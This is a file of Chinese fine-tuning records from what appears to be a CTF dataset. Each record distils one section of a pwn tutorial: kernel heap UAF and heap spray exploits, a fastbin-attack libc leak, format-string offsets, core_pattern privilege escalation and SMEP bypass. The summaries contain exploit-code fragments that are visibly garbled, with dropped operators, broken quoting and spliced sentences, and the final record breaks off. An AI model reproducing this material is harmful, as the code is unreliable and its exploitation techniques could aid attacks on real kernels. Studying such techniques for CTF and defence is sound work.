{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-cc576b9f22e8b5e402ce", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/heap/heap_overview.md` 中的章节「REFERENCE」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/heap/heap_overview.md`\n标题：内核堆概述\n章节：内核堆概述 > REFERENCE\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“REFERENCE”展开。\n- https://arttnba3.cn/2021/11/28/OS-0X02-LINUX-KERNEL-MEMORY-5.11-PART-I/ https://arttnba3.cn/2022/06/30/OS-0X03-LINUX-KERNEL-MEMORY-5.11-PART-II/ https://arttnba3.cn/2023/02/24/OS-0X04-LINUX-KERNEL-MEMORY-6.2-PART-III/ https://blog.csdn.net/lukuen/article/de...\n\n关键术语：\n- 堆\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 660, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "REFERENCE", "heading_path": ["内核堆概述", "REFERENCE"], "original_id": "docs-55b18635dc3cd244cfed", "original_line": 728, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/heap_overview.md", "source_root": "docs", "source_sha256": "e7a66e37499b742f2c467a797689b8b366f0d217b52739a47ab5db0940b37235", "split": "train", "split_group_key": "323a8163a28f4193e4206534", "subcategory": "pwn/linux/kernel-mode", "terms": ["堆", "AI安全", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation"], "title": "内核堆概述"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/heap_overview.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-cca70646cde917585fdf", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md` 中的章节「检查旧堆信息2」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md`\n标题：申请内存块\n章节：define GLRO(name) _##name > 检查旧堆信息2\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“检查旧堆信息2”展开。\n- ``c / Precondition: not enough current space to satisfy nb request / assert((unsigned long)(old_size) < (unsigned long)(nb + MINSIZE));\n- ` 根据 malloc 中的定义 `c static void _int_malloc(mstate av, size_t bytes) { INTERNAL_SIZE_T nb;\n- / normalized request size */ ` nb 应该是已经加上 chunk 头部的字节，为什么还要加上 MINSIZE `呢？\n- 这是因为 top chunk 的大小应该至少预留 MINSIZE 空间，以便于合并。\n\n关键术语：\n- 堆\n- pwn\n- linux\n- user-mode\n- heap\n- code:c\n\n代码/命令片段线索：\n- c: 2 行，首行 `/* Precondition: not enough current space to satisfy nb request */`\n- c: 2 行，首行 `static void *_int_malloc(mstate av, size_t bytes) {`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 362, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "检查旧堆信息2", "heading_path": ["define GLRO(name) _##name", "检查旧堆信息2"], "original_id": "docs-0db52b63c880a5119ba8", "original_line": 61, "original_split": "validation", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md", "source_root": "docs", "source_sha256": "d57c9fb6e3dadf6dcdef23e595c99d5566d1a5c69e96baacfe77e614ff9962bf", "split": "train", "split_group_key": "e7ef6dfa56ff4dd2ce390851", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "pwn", "linux", "user-mode", "heap", "code:c"], "title": "申请内存块"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-cce44e39d4334716f5f2", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/heap/buddy/page-uaf.md` 中的章节「Final Exploitation」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/heap/buddy/page-uaf.md`\n标题：Page-level UAF\n章节：Page-level UAF > 例题：D^3CTF2023 - d3kcache > 漏洞利用 > Final Exploitation\n路径分类：pwn / pwn/linux/kernel-mode\n分块：6/8\n\n核心知识点：\n- 本节主题围绕“Final Exploitation”展开。\n- size_t stack_addr, stack_addr_another;\n- size_t stack_page, mm_struct_page;\n- _MAP_BASE) / task_struct::parent / && (comm_addr[-56] > KERNEL_DIRECT_PHYSMEM_MAP_BASE)) { / task_struct::read_parent / parent_task = comm_addr[-57];\n- page_offset_base = (comm_addr[-50] & PAGE_MASK) - i 0x1000;\n- printf(SUCCESS_MSG(\"[+] Found task_struct on page: \") \"%p\\n\", (struct page) (vmemmap_base + i 0x40));\n\n关键术语：\n- UAF\n- 堆\n- 栈\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 5067, "chunk_count": 8, "chunk_index": 5, "ctf_score": 30, "ctf_task_type": "pwn", "heading": "Final Exploitation", "heading_path": ["Page-level UAF", "例题：D^3CTF2023 - d3kcache", "漏洞利用", "Final Exploitation"], "original_id": "docs-6e949463f8a441148221", "original_line": 41, "original_split": "validation", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/buddy/page-uaf.md", "source_root": "docs", "source_sha256": "9556b48cfce4fb3e87c0e04e6cd2793e0719241e2bc305a1f292d6b02d17d186", "split": "train", "split_group_key": "c862ed64bfb2abce0964049c", "subcategory": "pwn/linux/kernel-mode", "terms": ["UAF", "堆", "栈", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation"], "title": "Page-level UAF"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/buddy/page-uaf.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-cd0e5f0dc9d155fa00fd", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md` 中的章节「堆内存不够」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md`\n标题：申请内存块\n章节：申请内存块 > _int_malloc > 堆内存不够\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 如果堆内存不够，我们就需要使用 sysmalloc 来申请内存了。\n- ``c / Otherwise, relay to handle system-dependent cases / // 否则的话，我们就只能从系统中再次申请一点内存了。\n- else { void *p = sysmalloc(nb, av);\n- = NULL) alloc_perturb(p, bytes);\n\n关键术语：\n- 堆\n- pwn\n- linux\n- user-mode\n- heap\n- code:c\n\n代码/命令片段线索：\n- c: 9 行，首行 `/*`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 226, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "堆内存不够", "heading_path": ["申请内存块", "_int_malloc", "堆内存不够"], "original_id": "docs-b68216dd571004c1c1b0", "original_line": 1157, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md", "source_root": "docs", "source_sha256": "d57c9fb6e3dadf6dcdef23e595c99d5566d1a5c69e96baacfe77e614ff9962bf", "split": "train", "split_group_key": "e1d167216b9f355fa1fd6aa0", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "pwn", "linux", "user-mode", "heap", "code:c"], "title": "申请内存块"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-ce34cedef3d7c1a9b7c9", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/fmtstr/fmtstr-exploit.md` 中的章节「确定相对偏移」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/fmtstr/fmtstr-exploit.md`\n标题：利用\n章节：利用 > 覆盖内存 > 覆盖栈内存 > 确定相对偏移\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“确定相对偏移”展开。\n- 这里我们通过之前的泄露栈变量数值的方法来进行操作。\n- 其次，我们来确定一下存储格式化字符串的地址是printf将要输出的第几个参数()。\n- 继而，我们再确定格式化字符串'%d%d'的地址0xffffcd28相对于printf函数的格式化字符串参数0xffffcd10的偏移为0x18，即格式化字符串相当于printf函数的第7个参数，相当于格式化字符串的第6个参数。\n\n关键术语：\n- 栈\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- fmtstr\n- code:shell\n\n代码/命令片段线索：\n- shell: 16 行，首行 `→ 0xf7e44670  call 0xf7f1ab09 <__x86.get_pc_thunk.ax>`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1050, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "确定相对偏移", "heading_path": ["利用", "覆盖内存", "覆盖栈内存", "确定相对偏移"], "original_id": "docs-897d8b2ed00dcb44aa71", "original_line": 894, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/fmtstr/fmtstr-exploit.md", "source_root": "docs", "source_sha256": "040fbecb96f4b30ec8b6ecd0a6bc6afea827abf093eada8b549d44dab3c550e7", "split": "train", "split_group_key": "9697c8aa45ba00a1b56cf1db", "subcategory": "pwn/linux/user-mode", "terms": ["栈", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "fmtstr", "code:shell"], "title": "利用"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/fmtstr/fmtstr-exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-ce374d7a17ed2e2a12d9", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/heap/slub/spray.md` 中的章节「Step.I - 堆喷 user\\_key\\_payload 越界读泄露内核基地址」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/heap/slub/spray.md`\n标题：Heap Spray\n章节：Heap Spray > 例题：RWCTF2023体验赛 - Digging into kernel 3 > 漏洞利用 > Step.I - 堆喷 user\\_key\\_payload 越界读泄露内核基地址\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Step.I - 堆喷 user\\_key\\_payload 越界读泄露内核基地址”展开。\n- keyctl() 系统调用为我们提供了读取、更新（分配新对象，释放旧对象）、销毁密钥（释放 payload）的功能，其中读取的最大长度由 user_key_payload->datalen 决定，我们不难想到的是我们可以利用题目提供的 UAF 将user_key_payload->datalen 改大，从而完成越界读。\n- > > > 不过笔者觉得其实直接利用题目分配 obj1 和 obj2 后全部释放，之后再在 obj2 上弄 UAF 就行了：) 这里采用这种做法只是为了介绍 heap spraying 这一手法。\n- 接下来我们考虑越界读取什么数据，这里我们并不需要分配其他的结构体， rcu_head->func` 函数指针在 rcu 对象被释放后才会被写入并调用，但调用完并不会将其置为 NULL，因此我们可以通过释放密钥的方式在内核堆上留下内核函数指针，从而完成内核基址的泄露。\n- 注意以下两点： - 这里我们的 description 字符串需要和 payload 有着不同的长度，从而简化利用模型。\n- 但我们可以通过堆喷将 UAF obj 分配到 user\\_key\\_payload，考虑如下流程： - 利用题目功能构建 UAF object。\n\n关键术语：\n- UAF\n- 边界/溢出\n- 堆\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n- code:c\n\n代码/命令片段线索：\n- c: 12 行，首行 `#include `\n- c: 11 行，首行 `struct user_key_payload {`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 2545, "chunk_count": 1, "chunk_index": 0, "ctf_score": 34, "ctf_task_type": "pwn", "heading": "Step.I - 堆喷 user\\_key\\_payload 越界读泄露内核基地址", "heading_path": ["Heap Spray", "例题：RWCTF2023体验赛 - Digging into kernel 3", "漏洞利用", "Step.I - 堆喷 user\\_key\\_payload 越界读泄露内核基地址"], "original_id": "docs-e368fadd8e83ea4e5f4e", "original_line": 768, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/slub/spray.md", "source_root": "docs", "source_sha256": "2ae680126839cc9344bcfca380d500d735c945fde26f1a88b9e25d41a3e55a18", "split": "train", "split_group_key": "72acfc9baa91727862c5db34", "subcategory": "pwn/linux/kernel-mode", "terms": ["UAF", "边界/溢出", "堆", "AI安全", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation", "code:c"], "title": "Heap Spray"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/slub/spray.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-ce5c5dd848dda74b2c6b", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/environment/qemu-emulate.md` 中的章节「加载驱动」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/environment/qemu-emulate.md`\n标题：搭建内核运行环境\n章节：搭建内核运行环境 > 加载驱动\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“加载驱动”展开。\n- 现在我们来加载之前编译的驱动。我们只需要将生成的 ko 文件拷贝到文件系统中，然后在启动脚本中添加 insmod 命令即可，具体如下：\n- ```bash chown -R root:root / chmod 700 /root chown -R ctf:ctf /home/ctf\n- mount -t proc none /proc mount -t sysfs none /sys mount -t tmpfs tmpfs /tmp mkdir /dev/pts mount -t devpts devpts /dev/pts\n- echo 1 > /proc/sys/kernel/dmesg_restrict echo 1 > /proc/sys/kernel/kptr_restrict\n- echo -e \"\\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\\n\"\n\n关键术语：\n- pwn\n- linux\n- kernel-mode\n- environment\n- code:bash\n\n代码/命令片段线索：\n- bash: 15 行，首行 `chown -R root:root /`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 538, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "加载驱动", "heading_path": ["搭建内核运行环境", "加载驱动"], "original_id": "docs-b21caf5b585df8c80397", "original_line": 711, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/environment/qemu-emulate.md", "source_root": "docs", "source_sha256": "2fa691a5b11d1005a314edb20f4c495317ae5eae73c85043729f5edb33b5ef31", "split": "train", "split_group_key": "6f5fd80b009541b4324b7f5b", "subcategory": "pwn/linux/kernel-mode", "terms": ["pwn", "linux", "kernel-mode", "environment", "code:bash"], "title": "搭建内核运行环境"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/environment/qemu-emulate.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-ce77e5bc3e1603b7c6ad", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/stackoverflow-basic.md` 中的章节「将代码交互转换为手工交互」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/stackoverflow-basic.md`\n标题：栈溢出原理\n章节：栈溢出原理 > 将代码交互转换为手工交互\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“将代码交互转换为手工交互”展开。\n- sh.interactive() `` 执行一波代码，可以得到 `shell ➜ stack-example python exp.py [+] Starting local process './stack_example': pid 61936 ;\n- [] Got EOF while reading in interactive $ [] Process './stack_example' stopped with exit code -11 (SIGSEGV) (pid 61936) [] Got EOF while sending in interactive `` 可以看到我们确实已经执行 success 函数。\n- \\x84\\x0 [] Switching to interactive mode aaaaaaaaaaaaaaaaaaaabbbb;\n- \\x84\\x0 You Hava already controlled it.\n\n关键术语：\n- 边界/溢出\n- 栈\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n代码/命令片段线索：\n- plain: 1 行，首行 `执行一波代码，可以得到`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 430, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "将代码交互转换为手工交互", "heading_path": ["栈溢出原理", "将代码交互转换为手工交互"], "original_id": "docs-018b0b8a2d9e8df113c0", "original_line": 1302, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/stackoverflow-basic.md", "source_root": "docs", "source_sha256": "dec6be57e088905459cdd2d04532f6b0f33adf6c4086ebc03869863fd0640063", "split": "train", "split_group_key": "256b0cd51491dd7d8f1fcd15", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "pwn", "linux", "user-mode", "stackoverflow"], "title": "栈溢出原理"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/stackoverflow-basic.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-ceb4e55d51372def4b06", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md` 中的章节「泄漏 libc 基地址」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md`\n标题：Fastbin Attack\n章节：Fastbin Attack > 2017 0ctf babyheap > 利用思路 > 泄漏 libc 基地址\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“泄漏 libc 基地址”展开。\n- 这里之所以可以成功是因为堆的始终是 4KB 对齐的，所以idx 4的起始地址的第一个字节必然是0x80。\n- `python # if we want to allocate at idx4, we must set it's size as 0x21 payload = 0x10 'a' + p64(0) + p64(0x21) fill(3, len(payload), payload) allocate(0x10) # idx 1 allocate(0x10) # idx 2, which point to idx4's location ` 之后，如果我们想要将 idx 4 放到 unsorted bin 中...\n- 具体设计如下 ``Python # 1. leak libc base allocate(0x10) # idx 0, 0x00 allocate(0x10) # idx 1, 0x20 allocate(0x10) # idx 2, 0x40 allocate(0x10) # idx 3, 0x60 allocate(0x80) # idx 4, 0x80 # free idx 1, 2, fastbin[0]->idx1->idx2->NULL free(2) free(1) ` 首先，我们申请了 5 个...\n- 由于我们是希望使用 unsorted bin 来泄漏 libc 基地址，所以必须要有 chunk 可以被链接到 unsorted bin 中，所以该 chunk 不能使 fastbin chunk，也不能和 top chunk 相邻。\n- 在将该 chunk 释放到 unsorted bin 的同时，也需要让另外一个正在使用的 chunk 可以同时指向该 chunk 的位置。\n\n关键术语：\n- 堆\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n- code:python\n- code:shell\n\n代码/命令片段线索：\n- Python: 9 行，首行 `# 1. leak libc base`\n- shell: 20 行，首行 `pwndbg> x/20gx 0x55a03ca22000`\n- python: 3 行，首行 `# edit idx 0 chunk to particial overwrite idx1's fd to point to idx4`\n- shell: 20 行，首行 `pwndbg> x/20gx 0x55a03ca22000`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 3429, "chunk_count": 1, "chunk_index": 0, "ctf_score": 30, "ctf_task_type": "pwn", "heading": "泄漏 libc 基地址", "heading_path": ["Fastbin Attack", "2017 0ctf babyheap", "利用思路", "泄漏 libc 基地址"], "original_id": "docs-076f10c9a071267a7185", "original_line": 937, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md", "source_root": "docs", "source_sha256": "64df048b597ef6437905e6df1f5ef5b90fc06f950d7e5cb40681b923ec3ce15a", "split": "train", "split_group_key": "b71d62dd4500fbe29bd68c65", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "heap", "code:python", "code:shell"], "title": "Fastbin Attack"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-ced377571a6821a4cd48", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/aim/privilege-escalation/change-others.md` 中的章节「修改 core_pattern」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/aim/privilege-escalation/change-others.md`\n标题：Change Others\n章节：Change Others > 改数据 > call_usermodehelper > 修改 core_pattern\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“修改 core_pattern”展开。\n- 关于如何定位 core_pattern，我们可以采用类似于定位 modprobe_path 的方法。\n- 关于使用 core_pattern 进行提权的更多细节，可以参考近期 kctf 的 exp 。\n- 1. 修改 core_pattern 为 |/path/to/your/program。\n- 由于 core_pattern 中大写 %P 表示崩溃进程在宿主机中的 PID，因此也常被用来取代 modprobe_path 用于容器环境下的提权。\n- 2. 启用崩溃转储，触发内核执行 core_pattern 管道符后的程序。\n\n关键术语：\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- aim\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 467, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "修改 core_pattern", "heading_path": ["Change Others", "改数据", "call_usermodehelper", "修改 core_pattern"], "original_id": "docs-b0b6d5d32cdc9959ea33", "original_line": 659, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/aim/privilege-escalation/change-others.md", "source_root": "docs", "source_sha256": "5ae73e332aeca082ca76620f6161568e6fade1b8ae0b3398b84006a03ad36041", "split": "train", "split_group_key": "3040aeb9769d0236d2389ab6", "subcategory": "pwn/linux/kernel-mode", "terms": ["AI安全", "漏洞利用", "pwn", "linux", "kernel-mode", "aim"], "title": "Change Others"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/aim/privilege-escalation/change-others.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-ceebaf14f30f4f2ee3d2", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/basic-knowledge.md` 中的章节「SMAP/SMEP」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/basic-knowledge.md`\n标题：基础知识\n章节：基础知识 > Mitigation > 通用保护机制 > SMAP/SMEP\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“SMAP/SMEP”展开。\n- SMAP即``管理模式访问保护`（Supervisor Mode Access Prevention），SMEP即`管理模式执行保护`（Supervisor Mode Execution Prevention），这两种保护通常是同时开启的，用以阻止内核空间直接访问/执行用户空间的数据，完全地将内核空间与用户空间相分隔开，用以防范ret2usr（return-to-user，将内核空间的指令指针重定向至用户空间上构造好的提权代码）攻击。\n- SMEP保护的绕过有以下两种方式： - 利用内核线性映射区对物理地址空间的完整映射，找到用户空间对应页框的内核空间地址，利用该内核地址完成对用户空间的访问（即一个内核空间地址与一个用户空间地址映射到了同一个页框上），这种攻击手法称为 ret2dir 。\n- Intel下系统根据CR4控制寄存器的第20位标识是否开启SMEP保护（1为开启，0为关闭），若是能够通过kernel ROP改变CR4寄存器的值便能够关闭SMEP保护，完成SMEP-bypass，接下来就能够重新进行 ret2usr，但对于开启了 KPTI 的内核而言，内核页表的用户地址空间无执行权限，这使得 ret2usr 彻底成为过去式 。\n- > 在 ARM 下有一种类似的保护叫 PXN`。\n\n关键术语：\n- ROP/JOP\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- basic-knowledge.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 